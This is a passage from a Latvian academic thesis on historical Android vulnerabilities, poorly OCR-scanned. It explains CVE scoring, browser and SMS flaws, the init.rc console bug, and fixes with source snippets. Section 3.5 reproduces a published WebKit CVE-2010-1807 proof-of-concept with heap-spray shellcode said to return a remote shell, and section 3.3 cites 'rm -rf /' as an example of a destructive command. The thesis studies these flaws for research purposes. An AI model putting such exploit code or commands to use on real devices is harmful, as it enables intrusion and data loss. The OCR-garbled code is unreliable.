tikt sanemta ,,nepareiza” atbilde. Janoskaidro, kadus datus jasatur ,pareizai” atbildei, kas
izraisija problémas. Tas var but vai nu komunikacijas kanala problému dgl, vai servera
iestadiSanas ir nepareizas, vai noziedznieks kada veida sanéma signalu no sist€mas [17].
Nepietiek notestét tikai lietojumprogrammu, jateste ar1 serveris. Datu parraides tikla veids art
ir svarigs. Katrs datu parraides protokols (bezvadu tikls (Wi-Fi) vai globala mobilo sakaru
sisttma (GSM)) satur savus droS§ibas caurumus. Nevajag aizmirst, ka jaimplementé datu
Sifrésana [17].

Ka bija pateikts ieprieks, laba ideja ir izmantot jau gatavus SifréSanas metodes, datu
parraides protokolus un citus drosibas algoritmus [17], jo gatavi produkti ir labi aizsargati no
izstradataja un kopienas puses, ir pieejams daudz informacijas par prieksSrocibam un drosibas
problémam, kurus risina gandriz visa pasaule. lzmantot gatavo — atrak, 1€tak un, parasti,
drosak.

Testgjot sistemu, jadoma ka datorlauzis. Piem&ram, lietotaja autentifikacijai var izmatot
datus, kurus nav tik viegli dabiit. Biometriska autentifikacija kluva populara pedgjos gados.
Var izmantot lietotnes, kuras parasti lieto noziedznieki [17], lai parbauditu, kadus datus var
dabiit no jiisu produkta ar to palidzibu. SveSas bibliot€kas arT var saturét caurumus vai citas

problémas [17]. Pirms izmantoSanas, vajag iepazities ar atzimém.

2.3.  Citi petijumi Android drosibas joma

Ta ka Android ir populars visa pasaulg, ir vairaki p&tnieki un organizacijas, kuru darbiba
ir saistita ar operétajsistémas drosibu.

1999. gada tika nodibinata CVE (Common Vulnerabilities and Exposures,
https://cve.mitre.org/) sistéma. Sist€mas vaditajs kompanija MITRE pozicioné to ka vienoto
drosibas ievainojamibu vardnicu. Pirms nodibinaSanas vairakas IT droSibas un izstradataju
kompanijas izmantoja savas ievainojamibu uzraudzibas sist€mas. Bija griiti sekot realai
situacijai ar dro§ibu, jo viena probléma vargja tikt atSkirigi noveértéta un defineta vairakas
sisttmas ar dazadu informaciju par ta statusu. CVE sist€ma apvienoja zinamas problémas
viena vietné. PaSlaik sistému atbalsta vairak neka 300 produktu un 150 kompaniju, tatad,
operétajsisttma Android nav vieniga izstrade, kuru ievainojamibas ir registrétas vardnica.
Katrai problémai tiek dots identifikators ,,CVE-gads-numurs”, lai to varétu viegli atrast

sisteéma vai atsaukties cita avota. leraksts satur Tsu ievainojamibas aprakstu un atsauces UZ
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citiem avotiem [87]. Varétu teikt, CVE sistéma ir vairaku Android droSibas pétnieku darbibas
apkopojums.

Uz MITRE sistémas bazes ir nodibinatas vairaki servisi. Visievérojamakas ir National
Vulnerability Database (https://nvd.nist.gov/home.cfm) — ASV valdibas ievainojamibu
parvaldes sistéma, un CVE Details (http://www.cvedetails.com). Sistema CVE Details ir pasi
interesanta ar to, ka grupé problémas, pamatojoties uz izstradataja nosaukumu, produkta
nosaukumu, produkta tipu, problémas tipu. Tatad, vieglak atrast vajadzigo problému vai
problému grupu. Papildus, ievainojamibas ir novértétas péc The Common Vulnerability
Scoring sistémas (CVSS). Ir novértétas: ietekme uz konfidencialitati (cik daudz privatas
informacijas var tikt atklats), ietekme uz datu integritati (cik daudz datu var tikt mainits),
ietekme uz pieejamibu (kada méra ievainojamiba apgriitina produkta izmantoSanu), pieejas
sarezgitiba (cik viegli ir izmantot ievainojamibu), pilnvaroSanas vajadziba (cik reizes
noziedznickam vajag pilnvaroties sisttma, lai izmantot ievainojamibu) [81], [88]. Viegli
saprast problémas svarigumu (lielaks noveértgjums (lidz 10 punktiem) — bikstamaka
probléma). Vietné ari pieejami dazada veida grafiki. Att€la 2.6 [89] var redzét Android

problému sadalijuma grafiku pa tipiem.

M Denial of Service 13
Bypass Something &

13
12
M Exccute Code 12
M tviemory Corruption 4
8 Gain Information &
6 G 6 M Gain Privilege 8
Overflow &
4 Sql Injection 1
1

2.6. att. Android drosibas probléemu sadalijums pa tipiem

Ka var redzet no grafika, visvairak Android ievainojamibu izraisa pakalpojumatteici vai
lauj izpildit launpratigo kodu.

Tomeér, CVE sistémai ir dazi trikumi. Ta ka ta nav ievainojamibu datubaze, bet vairaku
levainojamibu uzskaites sistému saistosais posms, informacija CVE sisttma var klat par
novecojoso (ipasi atteicas uz sait€ém). Pieméram, raksti par vecajam Andoid problémam satur
saites uz veco repozitoriju (lai apskatit izmainas koda, kuras saistitas ar interesgjo$o

problému, vajag mekl&t jaunaja repozitorija, kas nav viegls uzdevums). Papildus, ieraksti par
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Android problémam sakas datéties no 2009. gada, tapéc dazas 2008. gada problémas nav
aprakstitas. Ka arT nav sadales uz komponentiem. Lai uzzinat, kada operétajsist€émas
komponenta ir probléma (parlukprogrammas dzingjs, lietojumprogrammu parvaldnieks u.t.t.),

vajag studét atsauces. Neskatoties uz to, CVE ,,vardnica” ir laba un érta sistéma.
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3. DAZAS OPERETAJSISTEMAS ANDROID DROSIBAS PROBLEMAS
UN TO RISINAJUMU METODES

Ka vispopularakajai mobilai operétajsistémai, Android platformai ir loti daudz sekotaju

un, ka programmétaju izstradajumam, operétajsisttmai ir daudz visada veida problému,

ieskaitot drosibas, kuras liecla kopiena veiksmigi risina. Lai saprast operctajsistémas ,,sapigas

vietas”, ir vérts veérsities vesturei.

Talakajas nodalas apak$nodalas tiks parakstitas vairakas operétajsistémas Android

drosibas problémas un ievainojamibas. Apaksnodalu struktiira biis sekojosa:

ievads — ar ko probléma ir ipasi pazistama vai paris vardu par problémas atklaj&ju;
problémas apraksts — zaud&jumi, kurus cie$ lietotajs no ievainojamibas, un metodes
ka klat par upuri;

problémas céloni — kas izraisa problému;

problémas risinajumi — ka probléma tika atrisinata.

Android drosibas problémas pétisanai un aprakstiSanai tika izvelétas péc sekojosas

metodikas:

Pirmkart, problémas tika nemtas no dazadiem gadiem, lai sekotu oper&tajsisteéma
attistibai un vérot, kadiem Android komponentiem ir visvairak ievainojamibu.
Otrkart, péc iesp€jas tika apskatitas problémas ar atSkirigo ietekmi uz
operétajsistemu.

TreSkart, sakotn€ja informacija par problemam tika nemta no preses vai
konferences referatiem. Tas nozime, ka probléma ir pietickami interesanta un,
varbiit, bistama lietotajiem, lai to vajadz€tu pétit un aprakstit. Kaut gan konferences
daudz runa par tehniskiem aspektiem, prese parasti mé&gina rakstit materialu
vidusmera lietotajam saprotama valoda. Ja problému ir iesp&ams aprakstit
vienkarsi, tad ir vienkarSak saprast ta biitibu.

Ceturtkart, ja probléma ir pietickami aprakstita, pazistama un interesanta, tika
mekl&ts ieraksts par to CVE sistéma. Ja problémas novertgjums ir augsts, tad to ir
verts papétit. Ja ieraksta nav vai novert€jums izradas zems, tad Iémums par petiSanu

tika pienemts nemot véra ieprieksgjos faktorus.

Tabula 3.1. ir nosauktas izvel&tas drosibas problémas, kuras tiks aprakstitas nodala,

kompaktaka un parskatamaka veida.
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Nodala aprakstitas Android drosibas problémas

3.1. tabula

Problémas nosaukums

Problémas apraksts

Statuss

T-Moble G1 parlakprogram-
mas 1. ievainojamiba

Péc launpratigas timekla lapas apmeklésa-
nas, noziedznieks sape€ma iesp€ju pilnigi
kontrolét parlikprogrammu (tiklklejosana,
piekluve parstitamai informacijai). Problg-
mu izraisija novecojosa parlikprogrammas
dzingja versija. Nav ieraksta CVE sistéma.

Probléma izla-
bota divu nedé-
lu laika

T-Moble G1 parlakprogram-
mas 2. ievainojamiba

Péc launpratigas timekla lapas apmeklésa-
nas, noziedznieks sanéma iesp&ju pilnigi
kontrolét parlikprogrammu. Problému iz-
raistja klida multivides atskanoSanas bibli-
oteka. 6,8 punkti CVE sistema [81].

Probléma
atrisinata
Android versija
2.0

Jebkura ievadita teksta inter-
pretteéSana ka komandrindas
komanda

Unix terminals tika ieslégts fona rezZima un
jebkads ievaditais teksts vargja tikt inter-
pretéts ka konsoles komanda. Nav ieraksta
CVE sistéma.

Probléma
izlabota
Android 1.0 at-
jaunojuma RC

30 (ASV) vai

RC 8 (Lielbrita-

nija)
Atslégsana no tikla ar SMS | Sanemot speciali sagatavoto WAP 1szinu | Probléma
palidzibu telefons zaudgja pieslégumu tiklam. 4,3 | atrisinata

punkti CVE sistema [82].

Android versija
1.6

Klada skaitlu ar peldoso
punktu apstradé parlukprog-
rammas dzingja WebKit

P&c launpratigas timekla lapas apmeklesa-
nas, noziedznieks var€ja sapemt iesp€ju
pilnigi kontrolét parlikprogrammu vai iz-
raisit parlukprogrammas aizveérSanu. 9,3
punkti CVE sistema [83].

Probléma
atrisinata
Android versija
2.2

Lietojumprogrammu instala-
cija bez lietotaja atlaujas

Uzinstalét lietotnes vargja divos veidos.
Pirmais veids der tikai HTC telefoniem:
lietojumprogramma bija modificéta ta, lai
automatiski instalét jaunas Flash versijas.
Izmantojot atlauju, noziedznieks vargja uz-
instalét telefona savu lietotni. Otrais veids
der visiem telefoniem: noziedznieks var
nopublicét veikala Google Play lietotni,
kura var instalét citas lietotnes no veikala
(tikai no veikala). Nav ieraksta CVE
sistéma.

Problémas
atrisinatas
Android versija
2.2

Datpu lasiSana no atminas
kartes ar JavaScript palidzibu

Péc launpratigas timekla lapas apmeklésa-
nas, noziedznieks sanéma piekluvi datiem
uz telefona atminas kartes. Problémas cé-
lonis ir tas, ka JavaScript lokalaja datné
strada bez bridinajuma. 4,3 punkti CVE
sisteéma [84].

Probléma
atrisinata
Android versija
2.34

Ievainojamiba ,,galvena atsle-

2

ga

Noziedznieks vargja modificét lietojum-
programmas APK instalatoru ta, ka operée-
tajsisttma to nepamanis. Tada veida lieto-

Probléma
atrisinata
Android versija

25




jumprogramma vargja pieklut jebkuram | 4.3
operétajsistémas komponentam. 9,3 punkti
CVE sistéma [85].

Vienizcelsmes (same origin | Speciali rakstits JavaScript kods launprati- | Probléma
policy) prasibas parkapums, | ga timekla lapa vargja pieklat un modificét | atrisinata
izmantojot JavaScript datus citas atvertas timekla lapas. 5,8 | Android versija
punkti CVE sistema [86]. 4.4

Nakamajas apaksnodalas nosauktas drosibas problémas tiks aprakstitas sikak.

3.1. T-Moble G1 parlikprogrammas 1. ievainojamiba

Ievainojamiba galvenokart pazistama ar to, ka ta tika atklata dazas dienas p&c pirma
mobila telefona ar operétajsisttmu Android HTC Dream (ASV pazistams ka T-Mobile G1)
pardosanas uzsak$anas [24], [25]. Viens no pétniekiem, kuri atkldja problemu, ir Carlzs
Millers — bijusais Nacionalas droSibas agenttras darbinieks (pazistams ar telefona iPhone,
klépjdatora MacBook Air un operétajsisttmas Mac OS X Leopard uzlausanu [24], [25]).
Google pat méginaja apvainot Milleru par to, ka vin§ nedeva kompanijai laiku izlabot

problému un izstastija par to presei [26].

3.1.1. Problémas apraksts

Ievainojamibas de| lietotajs, apmekl&jot launpratigo timekla lapu, atdod telefona
parlukprogrammu pilnigi noziedznieka kontrole. Uzlauzgjs var iedarbinat jebkadu kodu, kuru
pielauj lietojumprogrammas atlaujas [27], sanemt jebkurus datus, kurus lietotajs ievada
sérfojot timeklt (piem€ram, paroles vai zigas) vai pat izmantot internetu telefona no sava
datora [28]. Tada veida, pieméram, laundaris var izgatavot viltotu internetbankas majaslapu
un, kad telefona lietotajs gribés izmantot banku no telefona, ista timekla lapa tiks aizstata ar
viltotu. Visi dati biis datorlauza riciba.

Laimigi, operétajsisttmas Android projektéjums izolé katru lietojumprogrammu no
citiem [27], [29]. levainojamiba nelaus izmantot citas telefona funkcijas, tadas ka zvaniSana,
zinojumu sitiSana, vai iedarbinat citas lietojumprogrammas. Varétu teikt, ka, neizmantojot
internetu telefona, lietotajs ir pilnigi aizsargats.

26




3.1.2. Problémas céloni

Tehniski, problému izraisa viens no operétajsist€émas atklata pirmkoda komponentiem —
WebKit [30] (atklata pirmkoda timekla parlikoSanas dzin€js). Klada pirmkoda izraisija ta
saukto bufera parpildi [29].

Bet, reali, par c€loni var nosaukt neuzmanibu un izstradataja nolaidibu. Pirma
operétajsistémas versija tika izmantota novecojoSa komponentes versija. WebKit dzin&ja
izstradataji izlaboja klidu 2008. gada aprilt [30] (telefona pardosana sakas 2008. gada 22.
oktobrT [27]). Tatad, izstradataji bija inform&ti par kludu, viniem bija 6 ménesi, lai aizvietot

novecojoso komponenti, bet tas nebija izdarits.

3.1.3. Problémas risinajumi

Ta ka telefona izlaiduma bridi ievainojamiba jau bija ,,veca”, pazistama un izlabota ar
timekla parlikoSanas dzingja izstradataja spékiem, Google sadarbiba ar T-Mobile izdeva

komponenta atjaunojumu [30].

3.2.  T-Moble G1 parlikprogrammas 2. ievainojamiba

Vel viena operétajsistémas Android parliikprogrammas ievainojamiba atklajas diezgan
atri — 2009. gada janvari. Atklaja problemu jau pazistams Carlzs Millers [31]. P&tnieks
gatavojas savai runai urku konferencei Shmoocon 2009 un, vélreiz apskatot operétajsist€émas
»iekSienes”, dienas laika samekl€ja jauno parlukprogrammas droSibas problému. letekme uz

telefona darbibu ir [idziga ,,1. ievainojamibai”, bet c€lonis ir cits [32].
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3.2.1. Problémas apraksts

Ka jau bija teikts, probléma ir Iidziga ievainojamibai parlikprogramma telefona HTC
Dream. Apmeklgjot launpratigo timekla lapu, lietotaja parlikprogramma parej noziedznieka
kontrole. Visa informacija, kura tiek ievadita timekli, kl@is pieejama laundarim [32]. Parasti,
tas ir zinojumi, paroles, bankas kartes dati. Potenciali, ir iesp&jams izpildit launpratigo kodu
uz lietotaja telefona [35].

Soreiz operétajsistémas projektdjums ari palidz samazinat zudumus no ievainojamibas.

»oandbox” arhitektiira noblok€ lietojumprogrammu piekluvi telefona pamatfunkcijam [32].

3.2.2. Problémas céloni

Galvenais problémas célonis ir kluda kompanijas PacketVideo izstradata atklata
pirmkoda multivides atskanosSanas bibliotekas pirmkoda [31], [33]. Noziedznieks var
izgatavot specialo MP3 datni. Ja ta ir kodéta ar Haffmana algoritmu, tad dekodésanas laika
var notikt skaitlu izzude, kura izraisa nepareizo robezvertibu parbaudi rakstot buferT.
Rezultata var notikt sistémas sabrukums var launpratiga koda izpildisana [33], [34], [35].

Attela 3.7 [36] var redzet funkcijas int32 pvmp3_huffman_parsing() kladaino pirmkoda
dalu.

if (pMainData-»usedBits > grBits)

{
i-=4;
is[i] = @;
is[(i+1)] = @;
is[(i+2)] = @;
is[(i+3)] = &;
}

3.7. att. Dekodésanas funkcijas int32 pvmp3_huffman_parsing() pirmkoda kliidains fragments
Masivs is[] ir 32-bitu naturalo skaitlu masivs. Att€lota koda fragmenta nav nodro$inata

parbaude vai i vértiba ir negativa vai lielaka par masiva izméru, Iidz ar to var notikt

meéginajums rakstit arpus masiva.
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3.2.3. Problémas risinajumi

Bibliotekas izstradatajs PacketVideo jau 7. februari izlaboja klidu [31] un pareizais
pirmkods tika publicéts. Attéla 3.8 [36] var redzét izlaboto funkcijas int32

pvmp3_huffman_parsing() pirmkoda fragmentu.

if (pMainData->»usedBits » grBits)

1
i-=4;
if (i < @ || i > FILTERBANK_BANDS*SUBBANDS_NUMBER - 4)
{
* illegal parameters may cause invalid access, set i to @ */
i=8;
}
is[i] =
[(1+ll] = 0;
is[(i+2)] = e;
is[(i+3)] = e;
}

3.8. att. Dekodesanas funkcijas int32 pvmp3_huffman_parsing() pirmkoda izlabotais fragments

Ka var redzgt, izstradataji pievienoja i vértibas parbaudi. Nekorektas vértibas gadijuma,

jauno datu rakstiSana saksies no masiva sakuma.

3.3.  Jebkura ievadita teksta interpretésana ka komandrindas komanda

Kartgja kltida nav droSibas probléma ,klasiska” izpratné — kliida nelauj noziedzniekam
iegiit telefonu kontrol€ vai nolaupit kadu personalu informaciju. Tomeér, probléma apdraud

miisu datu dro§ibu un saglabatibu un padara telefona lietoSanu par nedrosu.
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3.3.1. Problémas apraksts

Ka jau bija teikts ievada, kart€ja probléma nav kaut kada ievainojamiba, ta ir kluda
sisttmas datné init.rc. Kladas d&] jebkurS teksts, kuru lietotajs ievada jebkura
lietojumprogramma (sttot iszinu, se€rfojot interneta, rakstot piezimi), tiks padots UNIX
komandrindai. Ja ievadita teksta kads gabals saturés UNIX komandu, tad ta izpildisies ar
superlietotaja privilégijam [37]. Pieméram, iecvadot tekstu ,,reboot”, telefona operétajsistéma
tiks atkartoti palaista un lietotajs pazaud@s visu nesaglabato informaciju, bet ,rm —rf /7
izdz@sTs visus datus telefona.

Kaut gan kliida nesamazina operétajsistémas aizsardzibu pret ielausanas, neinforméets
lietotajs var nejausi izpildit komandas, kuras apgritinas telefona lietoSanu vai sabojas datus.
Oficiala Android problémjautajumu trekeri téma par aprakstito kludu lietotajs ar iesauku
jhorvat pastastija jocigo stastu. Lietotajs atkartoti palaidéja operétajsistému telefona kadu
laiku nevargja atbildét uz Tszinu. Aprakstot iemeslu, kapéc tik ilgi nebija atbildes, jhorvat
ievada vienu vardu — reboot un telefons uzsaka atkartotas palaiSanas procesu [38]. Ta lietotajs

nevargja neko paskaidrot, jo nevargja drosi lietot savu ierici.

3.3.2. Problémas céloni

Kopiena noskaidroja, ka problémas c€lonis ir klida datné init.rc [37], [38]. Iesp&jams,
datnes stavokli neizmainija péc izstrades procesa, kad taja bija koda rindas prieks

atkltdosanas. Attela 3.9 [39] var redzét kltdaino pirmkoda dalu.

200. ## Daemon processes to be run by init.

281. ##

282. service console /system/bin/sh
203. console

284,

3.9. att. Datnes init.rc kliidaina pirmkoda dala
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Komanda service console /system/bin/sh palaida servisi ar nosaukumu ,,console”, kurs
atrodas direktorija ,,/system/bin/sh” [40]. Ta komandrinda kliis aktiva katru reizi, kad telefons

tiek ieslégts. Ta ka serviss ir démons, lietotajs nevar zinat, ka tas ir aktivs.

3.3.3. Problémas risinajumi

Klida tika izlabota atjaunojuma RC30 (priek§ ASV) vai RC8 (prieks Lielbritanijas).
Telefoni ar atjaunojumiem RC29 jeb RC7 bija predisponéti probléemai [37]. Kamér
atjaunojums nebija izdots, kopiena noskaidroja divus klidu risinajumus.

Pirmo pagaidu risindjumu piedavaja diezgan pazistamais Android izstradatajs Eds
Brunette. Vajadzg&ja ievadit ,,komandu” cat, lai telefons izpilditu komandu catenate, méginatu
sanemt argumentus un neizpilditu citas ,.komandas”. Tas darbojas lidz oper&tajsistémas
atkartotas palaiSanas [37].

Otro risindgjumu piedavaja entuziasti. Vajadzgja pasam izmainit datnes init.rc saturu.
Koda gabalam no attéla 3.9. vajadzg&ja pierakstit rindu ar opciju disabled, lai serviss nevargja
palaisties automatiski [38], [40]. Tie$i tadu risinajumu izmantoja Google atjaunojuma RC30

jeb RCS. Attela 3.10 [41] var redz&t, ka izskatas servisa console izsaukums Android 5.1.

A87. service console /system/bin/sh

A488. class core

489. console

498, disabled

491. user shell

492, group shell log

493, seclabel u:r:shell:s@
494 .

495. on property:ro.debuggable=1
A496. start consocle

497 .

3.10. att. Datnes init.rc izlabota pirmkoda dala operétajsistema Android 5.1. Lollipop

Mas interesé rindas 487, 490, 495 un 496. Tos var izlasit ka ,,serviss ar nosaukumu
console, kur$ atrodas direktorija /system/bin/sh tiks palaists atsp&jots, lai to iedarbinat, vajag

ieslégt atklidosanas rezimu” [40]. Parejas opcijas neatteicas uz klidas risinajumu.
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3.4. Atslegsana no tikla ar SMS palidzibu

Diezgan interesanta ievainojamiba, kuru atklaja jau pazistams mums Carlzs Millers ar
savu kolégi Kolinu Mullineru. Interesanti, ka pé&tnieki atklaja tadu pasu problému ari
telefonam no Apple [42]. levainojams telefons, sanemot 1szinu, var pazaud@t savu galveno
funkciju — komunikacija [42], [43].

3.4.1. Problémas apraksts

Kartgjas ievainojamibas dél telefons ar operétajsisttmu Android zaudé pieslégumu
tiklam (nevar veikt vai sanemt zvanus, siitit vai sanemt 1szinas).

Trauc€jums var tikt izraisits ar tehniski nepareizi sastaditu 1szinu. Sanemot Tszinu,
telefona telefonijas lietojumprogramma (android.com.phone) apsteidz darbibu ar kladu Java
ArraylndexOutOfBoundsException [43]. Lietotne restart&jas, nepazinojot lictotajam, un zaude
sakari ar tiklu, kamer restartéSanas process nebeigsies. Restarts restarté ari modemu, tapéc, ja
SIM Kkarte ir aizsargata ar PIN kodu, tad pieslégums tiklam netiks atjaunots, kamér kods
netiks ievadits atkartoti. Uzzinat, ka telefons ir atslégts no tikla var tikai parbaudot telefona
ekranu [42]. Attela 3.11 [42] ir att€loti pazinojumi, kuri tiks att€loti, ja telefons ir cietis

uzbrukumu.
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8 0OH®Q 1807

SIM card is
A sorry! locked.

The process com.android. ,I 8 ] 07

phone has stopped
unexpectedly. Please try again.

-06-2009

€ Charging (100
. Tue 7:00
ﬂ Screen locked

l Force close J

3.11. att. Pazinojumi par telefonijas lietotni avariju (pa kresi) un par SIM kartes blokésanu (pa

labi) operétajsistema Android 1.5

Pazinojums ,,The process com.android.phone has stopped unexpectedly.” tiks paradits,
ja tiek dabuta kluda Java ArraylndexOutOfBoundsException. Pazinojums ,,SIM card is
locked.” tiks paradits, kad telefonijas liectotne pabeidza restarté$anas procesu un sagaida SIM

kartes PIN koda ievadi.

3.4.2. Problémas céloni

Jau iepriek§ nosauktu kladu izraisa sanemta WAP iszina [43], kuru noziedznieks ar

nodomu ,,uzbiivgja” nepareizi.

3.4.3. Probléemas risinajumi

Kluda tika izlabota oficiala ielapa no Google.
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3.5. Kluda skait]u ar peldo$o punktu apstradé parlikprogrammas dzinéja WebKit

Vel viena kluda parlukprogrammas dzingja WebKit, kura padara operétajsistemu
Android ievainoto pret iclausanos [44]. Ta ka WebKit bazétas parlikprogrammas (Apple
Safari, Chromium) izmanto ari citu operétajsistému izstradataji, bistamiba bija ne tikai
telefoni, bet arT datori [45]. Kaut gan kliidu dzingja sameklgja Lukas Vagners [44], tiesi M.
Dzei. Keits (M.J. Keith) — pétnieks no Alert Logic pieradija, ka Android ari ir paklauts

ievainojamibai [46].

3.5.1. Problémas apraksts

Ar kludas palidzibu, noziedznieks var sagatavot specialu HTML lapu, kuru apmeklgjot,
ar lictotaja telefonu var notikt viena no problémam [44].

Pirma probléma: patvaliga koda izpilde. Kliudas ietekme pirma varianta ir lidziga
pirmajai sameklétai problémai Android operétajsistéma (kuru sameklgja Carlzs Millers 2008.
gada oktobri, aprakstita apaksnodala 3.1.). P& koda izpildes, datorlauzis pilniba kontrolés
telefona parlikprogrammu un sanems piekluvi visam, kam var pieklit parluks. Piem&ram,
paroles, zinojumi, bankas dati, ja tie ir ievaditi ttimekli. Pats Keits arT apgalvo, ka laundaris
var€s pieklut datiem uz atminas kartes, ja parlikprogramma kaut kad to izmantoja. ArT citi
dati ir bistamiba, ja parluks tos izmanto [47], [48]. Tas padara kludu pat bistamako par
Millera atrasto. Laimigi, ,,5andbox” arhitektiira pasarga citus operétajsistémas komponentus
no ielausanas.

Otra problema: pakalpojumatteices uzbrukums [44]. Uzbruktais lietotajs dabis
problémas ar telefona lietoSanu. Precizak, parlikprogramma var€s bez pazinojuma pabeigt

darbibu.

3.5.2. Problémas céloni

Problémas cglonis ir klida parlikprogrammas pirmkoda dzingja — dzing€js nepareizi
apstrada datu tipus ar peldoso punktu. Ieprieks&ja realizacija tika pienemts, ka visiem NaN ir
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vienota veidne [48]. Ja veidnes tips atSkiras no pienemta, datorlauzis var€s izmantot
ievainojamibu savam noliikam.
Attela 3.12 [49] ir att€lots mika pirmkods, ar kuru palidzibu M. Dzei. Keits

nodemonstréja kludas ietekmi uz operétajsistemu Android.

1 <html>
2 <head>

zZ <script>
4 /f bug = webkil code execution CVE-2010-1807
5 Iy http://cve.mitre.orqg/cgi-bin/cvename. cqi *name=CVE-2010-1807
'y listed a=s a =safari bug but alsc works on android :)
7 ff tested = moko drodd 2.0.1 , mote drodd 2.1 , emulater 2.0 - 2.1
8 [/ patched = android 2.2; author = @j
9 // hardcoded to return a shell to 10.0.2.2 port 2222
10 H function sploit (pop) {
11 var span = document.createElement ("div"™);
12 document .getElementById {("pwn") . appendChild (span) ;
13 span.innerHTML = pop;
14 - 1
1L = function heap() {
16 jj var scode = unescape {("\u3cB4\ul057T\u3c80\ul0057T\u3cTchuld05T\u3cT78\ulds7 v
17 [ do {
18 zcaode 4= scode;
19 = } while(scode.length < 0x1000)
20 target = mew Array():
21 for{i = 0; 1 < 1000; i++)
22 target[i] = scode;
23 —| for (i = 0; i <= 1000; i++) {
24 E if (i>9%99) {
25 sploit {-parseFloat ("HAN (E£££e00572ce0) ™)) ¢
26 - 1
27 document .write ("The targets!! " + target[i])
28 document.write("<bxr />");
29 = }
30 - 1
31 H </zcript>
32 = </head>
= = <body id="pwn">
=5 = <script>
36 heap()
37 = </script>
38 + </body>
33 L</nemid

3.12. att. Miika pirmkods. Autors: M. DzZei. Keits (M.J. Keith)

16. rinda mainiga ,,scode” ir saglabata gara simbolu virkne. 25. rinda ir méginajums
apstradat nestandarta veidnes NaN. Apmeklgjot kart€jo lapu no telefona ar Android 2.1. vai
mazak, parlikprogramma aizvérsies [50].

Attela 3.13 [51] var redzet WebKit dzingja funkcijas pirmkodu, kura nepareizi apstrada

skaitlus.

35



L L

211 J5WalueRef J5ValueMakeNumber(JSContextRef ctx, double walue)

212 {

213 ExecState® exec = tolS(ctx);

214 APIEntryShim entryShim(exec);

215

216 return toRef(exec, jsMumber{exec, value));
217 }

3.13. att. Kludainas skaitlu apstrades funkcijas pirmkods

Funkcija nav paredzéta iesp€ja apstradat nestandarta veidnes NaN, kurs tiek padots

funkcija jsNumber.

3.5.3. Problémas risinajumi

Kluda tika izlabota ar dzingja WebKit izstradataju spckiem [48]. Korekta skaitlu ar
peldoSo punktu apstrades realizacija tika ieklauta jaunas operétajsistémas Android versija 2.2
[45], [46], [47].

Attela 3.14 [52] ir attélots kludas labojums parlikprogrammas dzingja pirmkoda

fragmenta.
211 3JISValueRef J15ValueMakeMumber(JSContextRef ctx, double walue)
212 {
213 ExecState* exec = tolS(ctx);
214 APIEntryShim entryShim{exec);
215
216 S/ Our JsValue representation relies on a standard bit pattern for NaN. NaNs
217 /4 generated internally to JavaScriptCore naturally have that representation,
218 /4 but an external NaN might not.
219 if (isnan(value))
220 value = NaN;
221
222 return toRef(exec, jshumber(exec, value));
223 |}

3.14. att. 1zlabotas skaitlu apstrades funkcijas pirmkods
Ta ka dzingjs WebKit ir paredzéts darbibai ar NaN ar standarta veidni, rindas 219 un

220 jebkads NaN tiek noforméts standarti [52]. Papildus, datn€ dtoa.cpp ir noradita direktiva

#define No_Hex_NaN, kura aizliedz noteikt NaN ar nestandarta veidni [53].
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3.6. Lietojumprogrammu instalacija bez lietotaja atlaujas

Divi pétnieki neatkarigi viens no otra 2010. gada samekl&ja iesp&jas ka var apmanit
iebtivéto Android atlauju pieprasijumu mehanismu lietojumprogrammas instalacijas laika.
Pirmais savu sasniegumu prezentgja p&tnieks no MWR InfoSecurity ar vardu (vai pseidonimu)
Nilss. Tas bija izdarits 18. oktobri referata ,,Building Android Sandcastles in Android’s
Sandbox”. Dokumenta tiks apskatitas ari citas operétajsistémas Android potencialas drosibas
problémas [54]. Par otro ievainojamibu novembri pazinoja Dzons Oberhaids no Scio Security.
Demonstracijai tika izmantots diezgan originalais veids — viltu spéles ,,Angry Birds” versija

[55], [56].

3.6.1. Problémas apraksts

Izmantojot ievainojamibas, datorlauzi var ignorét vienu no operétajsistémas Android
drosibas mehanismiem — lietotajs pats izv€las, kadus lietojumprogrammas instalét un kadiem
sisttmas komponentiem tie var pieklat [55], [56].

Pirma metode, kuru atklaja Nilss, bija izmantojama uz HTC telefoniem. Kompanijas
modifikacija parlikprogramma, kura atlava automatiski atjaunot Flash, var tikt izmantota, lai
bez lietotdja pazinoSanas instalét lietojumprogrammas ar piekluves tiesibam vairakiem
operétajsistémas komponentiem [54], [55], [56]. Tadas lietotnes viegli var€s parsitit datus no
telefona (kontaktus, fotografijas, GPS dati u.c.) noziedzniekam. Tada veida telefons nevar
garant@t privatas informacijas droSibu.

Otras metodes, kuru atklaja Oberhaids, ietekme uz droSibu ir lidziga Nilsa atklajumam,
bet realizacija ir mazliet citada. Noziedznieckam vajag nopublicét veikala Google Play
launpratigo programmu, kuru lietotaji var@s lejupieladét. Pec lietotnes instalacijas, bez
lietotaja atlaujas un pazinoSanas, telefona var tikt instalétas vairakas launpratigas lietotnes.
Tomér, visam tam lietotném ari jabit nopublicétam Google Play. Sava demonstracija
Oberhaids izmantoja 4 nopublicétas Google Play lietojumprogrammas: ,,Angry Birds Bonus
Levels” — viltu lietotne, kura it ka pievienoja papildus Iimenus taja laika popularajai spélei
,,Angry Birds”, ,,Fake Contact Stealer”, ,,Fake Location Tracker” un ,,Fake Toll Fraud”, kuri
tika instaléti pec ,,Angry Birds” [55], [56]. Neko slikto lietotnes nedarija, tikai radija

pazinojumus, ka telefonam ir ievainojamiba [57].
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3.6.2. Problémas céloni

Ka jau bija teikts, fona instalacija, izmantojot Android parlikprogrammas
ievainojamibu, pastavéja HTC telefonos. Parlikam bija dota atlauja instalét paket€s, lai varétu
fona rezima atjaunot Flash, android.permission.INSTALL_PACKAGES [54], [56]. 1zmantojot
atlauju, laundaris var instalét jebkadas lietojumprogrammas ar atlauju izmantot jebkuru
telefona funkciju.

Oberhaida lietotne, izmantojot kontu parvaldnieku, generja pilnvaroSanas markieri
veikalam, ar kuras palidzibu sanéma atlauju lietotaja varda lejupieladét un instalét lietotnes no
Google Play [55], [56], [58].

3.6.3. Problémas risinajumi

Parlikprogrammas ievainojamiba telefonos no kompanijas HTC tika likvidéta Android
versija 2.2 [55]. Google apgalvo, ka Oberhaida probléema ir izlabota [58]. Tomér,

rekomendgju uzmanigak skatities, no kurienes un kadas lictojumprogrammas tiek instal&tas.

3.7. Datnu lasiSana no atminas kartes ar JavaScript palidzibu

Apak$nodala ies runa par vel vienu parlikprogrammas ievainojamibu, tikai S$aja
gadijuma pétnieks Tomass Kennons sameklgjis iesp&ju sanemt no ielauSanas vairak par

datiem no parlika.

3.7.1. Problémas apraksts

